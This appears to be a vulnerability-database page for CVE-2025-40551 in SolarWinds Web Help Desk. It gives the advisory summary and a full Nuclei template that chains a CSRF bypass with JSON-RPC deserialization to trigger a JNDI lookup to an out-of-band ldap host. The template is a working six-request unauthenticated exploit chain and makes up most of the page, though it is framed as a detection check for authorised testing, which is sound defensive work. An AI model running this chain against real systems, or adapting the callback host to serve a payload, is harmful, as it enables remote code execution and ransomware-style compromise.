HexBrain

Browse / CVEs / CVE-2025-40551

CVE-2025-40551· solarwinds / web help desk· CWE-502

SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE

Exploited in the wild. Listed by CISA on 2026-02-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
84.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including "/ajax/" in a query parameter to circumvent URI validation, while switching from "/ajax/" to "/wo/" endpoints bypasses payload sanitization routines.

Impact

Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise.

Fix

Update SolarWinds Web Help Desk to version 2026.1 or later.

How to confirm it

Send: GET {{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa
Positive when: contains(tolower(all_headers), "x-webobjects-session-id") and contains(tolower(all_headers), "xsrf-token") and contains(toupper(all_headers), "JSESSIONID") AND status 200
Send: GET {{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref
Positive when: contains "externalAuthContainer" and "SAML 2.0" AND status 200
Send: POST {{BaseURL}}/{{externalAuthContainer}}
Positive when: status 200
Send: GET {{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref
Positive when: contains "JSONRpcClient" AND status 200
Send: POST {{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}
Positive when: status 200
Send: POST {{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}
Positive when: contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2025-40551 -u <target>

The full check
id: CVE-2025-40551

info:
  name: SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE
  author: Horizon3.ai
  severity: critical
  description: |
    SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including "/ajax/" in a query parameter to circumvent URI validation, while switching from "/ajax/" to "/wo/" endpoints bypasses payload sanitization routines.
  impact: |
    Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise.
  remediation: |
    Update SolarWinds Web Help Desk to version 2026.1 or later.
  reference:
    - https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40551
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40551
    cwe-id: CWE-502
    epss-score: 0.84181
    epss-percentile: 0.99699
  metadata:
    verified: true
    max-request: 6
    vendor: solarwinds
    product: web_help_desk
    shodan-query: http.favicon.hash:1895809524
  tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast,kev,vkev

flow: |
  http("initial_session") &&
  http("login_pref_page") &&
  http("trigger_saml_object") &&
  http("create_jsonrpc_bridge") &&
  http("create_malicious_object") &&
  http("trigger_jndi_lookup")

http:
  - id: initial_session
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa"
    headers:
      x-webobjects-recording: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(all_headers), "x-webobjects-session-id")
          - contains(tolower(all_headers), "xsrf-token")
          - contains(toupper(all_headers), "JSESSIONID")
        internal: true
        condition: and

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: wosid
        part: header
        regex:
          - "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})"
        group: 1
        internal: true

      - type: regex
        name: xsrf_token
        part: header
        group: 1
        regex:
          - "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});"
        internal: true

  - id: login_pref_page
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - externalAuthContainer
          - SAML 2.0
        internal: true
        condition: and

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: externalAuthContainer
        part: body
        group: 1
        regex:
          - 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)'
        internal: true

  - id: trigger_saml_object
    method: POST
    path:
      - "{{BaseURL}}/{{externalAuthContainer}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
    body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: create_jsonrpc_bridge
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - JSONRpcClient
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: jsonrpc_endpoint
        part: body
        group: 1
        regex:
          - "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);"
        internal: true

  - id: create_malicious_object
    method: POST
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
      Content-Type: application/json
    body: |
      {
        "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
        "id":1,
        "method":"wopage.setVariableValueForName",
        "params":[
          "malicious",
          {
            "javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool",
            "jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o"
          }
        ]
      }

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: trigger_jndi_lookup
    method: POST
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
      Content-Type: application/json
    body: |
      {
        "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
        "id":1,
        "method":"wopage.variableValueForName",
        "params":["malicious"]
      }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from